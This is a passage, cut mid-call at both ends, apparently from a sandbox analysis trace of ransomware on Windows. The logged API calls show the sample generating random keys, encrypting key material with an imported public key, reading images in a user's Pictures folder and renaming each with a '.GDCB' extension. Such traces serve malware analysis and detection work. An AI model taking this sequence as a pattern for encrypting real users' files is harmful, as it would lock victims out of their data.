pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.447] CryptEncrypt (in: hKey=0x37dbc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.447] GetLastError () returned 0x0 [0142.447] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.447] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\M53SLY\\yx09evjd3tm-ElFRU4jJ.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m53sly\\yx09evjd3tm-elfru4jj.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.448] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.448] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.448] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x9c02, lpOverlapped=0x0) returned 1 [0142.477] VirtualAlloc (lpAddress=0x0, dwSize=0x9c10, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.482] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\M53SLY\\yx09evjd3tm-ElFRU4jJ.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m53sly\\yx09evjd3tm-elfru4jj.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\M53SLY\\yx09evjd3tm-ElFRU4jJ.png.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m53sly\\yx09evjd3tm-elfru4jj.png.gdcb")) returned 1 [0142.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0142.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0142.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0142.483] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0142.488] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.489] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.490] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.490] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.490] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.490] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0142.491] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.491] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.491] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.491] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.491] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecca0) returned 1 [0142.495] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37dac0) returned 1 [0142.496] CryptGetKeyParam (in: hKey=0x37dac0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.496] CryptEncrypt (in: hKey=0x37dac0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.496] GetLastError () returned 0x0 [0142.496] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0142.496] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0142.500] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37dd80) returned 1 [0142.500] CryptGetKeyParam (in: hKey=0x37dd80, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.500] CryptEncrypt (in: hKey=0x37dd80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.500] GetLastError () returned 0x0 [0142.500] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0142.501] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\0 Bsa-pMwMwujfrg6E.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\0 bsa-pmwmwujfrg6e.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.501] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.501] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.501] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x128aa, lpOverlapped=0x0) returned 1 [0142.512] VirtualAlloc (lpAddress=0x0, dwSize=0x128b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.517] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\0 Bsa-pMwMwujfrg6E.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\0 bsa-pmwmwujfrg6e.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\0 Bsa-pMwMwujfrg6E.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\0 bsa-pmwmwujfrg6e.gif.gdcb")) returned 1 [0142.518] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.519] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.519] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.519] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.519] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.519] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.520] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.520] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.520] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.520] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.521] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.524] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37df40) returned 1 [0142.524] CryptGetKeyParam (in: hKey=0x37df40, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.524] CryptEncrypt (in: hKey=0x37df40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.525] GetLastError () returned 0x0 [0142.525] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.525] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.528] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37da40) returned 1 [0142.528] CryptGetKeyParam (in: hKey=0x37da40, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.529] CryptEncrypt (in: hKey=0x37da40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.529] GetLastError () returned 0x0 [0142.529] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.529] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\E6gQJw oI-snc.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\e6gqjw oi-snc.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.529] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.529] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.529] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x117db, lpOverlapped=0x0) returned 1 [0142.547] VirtualAlloc (lpAddress=0x0, dwSize=0x117e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.552] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\E6gQJw oI-snc.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\e6gqjw oi-snc.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\E6gQJw oI-snc.jpg.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\e6gqjw oi-snc.jpg.gdcb")) returned 1 [0142.553] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecca0) returned 1 [0142.554] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.554] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.554] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.554] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0142.554] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0142.555] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.555] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.555] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.555] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0142.555] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.559] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37dc00) returned 1 [0142.559] CryptGetKeyParam (in: hKey=0x37dc00, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.559] CryptEncrypt (in: hKey=0x37dc00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.559] GetLastError () returned 0x0 [0142.559] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.559] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.563] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37d940) returned 1 [0142.563] CryptGetKeyParam (in: hKey=0x37d940, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.563] CryptEncrypt (in: hKey=0x37d940, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.563] GetLastError () returned 0x0 [0142.563] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.563] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\ea9JJ.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\ea9jj.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.564] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.564] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.564] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x668, lpOverlapped=0x0) returned 1 [0142.575] VirtualAlloc (lpAddress=0x0, dwSize=0x670, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.578] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\ea9JJ.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\ea9jj.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\ea9JJ.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\ea9jj.gif.gdcb")) returned 1 [0142.579] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.581] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.581] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.581] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.581] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.581] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.582] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.582] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.582] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.582] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.582] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0142.586] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37dd00) returned 1 [0142.586] CryptGetKeyParam (in: hKey=0x37dd00, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.586] CryptEncrypt (in: hKey=0x37dd00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.586] GetLastError () returned 0x0 [0142.586] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0142.586] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0142.590] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37df80) returned 1 [0142.590] CryptGetKeyParam (in: hKey=0x37df80, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.590] CryptEncrypt (in: hKey=0x37df80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.591] GetLastError () returned 0x0 [0142.591] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.591] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\ig6hjLi-OP4x R.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\ig6hjli-op4x r.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.591] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.591] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.591] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x6168, lpOverlapped=0x0) returned 1 [0142.603] VirtualAlloc (lpAddress=0x0, dwSize=0x6170, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.607] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\ig6hjLi-OP4x R.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\ig6hjli-op4x r.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\ig6hjLi-OP4x R.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\ig6hjli-op4x r.gif.gdcb")) returned 1 [0142.608] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0142.609] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.609] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.609] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.609] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.609] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.610] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.611] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.611] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.611] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.611] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed168) returned 1 [0142.615] CryptImportKey (in: hProv=0x2ed168, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37de80) returned 1 [0142.615] CryptGetKeyParam (in: hKey=0x37de80, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.615] CryptEncrypt (in: hKey=0x37de80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.615] GetLastError () returned 0x0 [0142.615] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0142.615] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecca0) returned 1 [0142.619] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37db00) returned 1 [0142.619] CryptGetKeyParam (in: hKey=0x37db00, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.619] CryptEncrypt (in: hKey=0x37db00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.619] GetLastError () returned 0x0 [0142.619] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0142.619] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\LXuzoE1qcv.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\lxuzoe1qcv.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.619] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.619] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.619] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x2544, lpOverlapped=0x0) returned 1 [0142.631] VirtualAlloc (lpAddress=0x0, dwSize=0x2550, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.635] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\LXuzoE1qcv.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\lxuzoe1qcv.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\S-M7mZ Js\\LXuzoE1qcv.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\s-m7mz js\\lxuzoe1qcv.gif.gdcb")) returned 1 [0142.636] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0142.637] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.637] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.637] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.637] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.637] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed0e0) returned 1 [0142.638] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.638] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.638] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.638] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0142.638] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.643] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37d840) returned 1 [0142.643] CryptGetKeyParam (in: hKey=0x37d840, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, 